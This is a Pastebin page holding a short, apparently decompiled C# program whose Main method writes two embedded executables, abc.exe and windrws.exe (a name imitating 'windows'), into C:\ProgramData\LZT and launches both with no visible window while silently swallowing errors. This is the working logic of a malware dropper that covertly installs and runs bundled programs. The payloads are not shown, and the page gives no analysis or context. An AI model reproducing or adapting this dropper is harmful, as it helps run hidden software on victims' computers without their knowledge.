Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void Main()
- {
- bool flag = !Directory.Exists("C:\\ProgramData\\LZT");
- if (flag)
- {
- Directory.CreateDirectory("C:\\ProgramData\\LZT");
- }
- MyProject.Computer.FileSystem.WriteAllBytes("C:\\ProgramData\\LZT\\abc.exe", Resources.abc, false);
- MyProject.Computer.FileSystem.WriteAllBytes("C:\\ProgramData\\LZT\\windrws.exe", Resources.windrws, false);
- Process process = new Process();
- try
- {
- process.StartInfo.FileName = "C:\\ProgramData\\LZT\\abc.exe";
- process.StartInfo.CreateNoWindow = true;
- process.Start();
- }
- catch (Exception expr_83)
- {
- ProjectData.SetProjectError(expr_83);
- ProjectData.ClearProjectError();
- }
- Process process2 = new Process();
- try
- {
- process2.StartInfo.FileName = "C:\\ProgramData\\LZT\\windrws.exe";
- process2.StartInfo.CreateNoWindow = true;
- process2.Start();
- }
- catch (Exception expr_C1)
- {
- ProjectData.SetProjectError(expr_C1);
- ProjectData.ClearProjectError();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement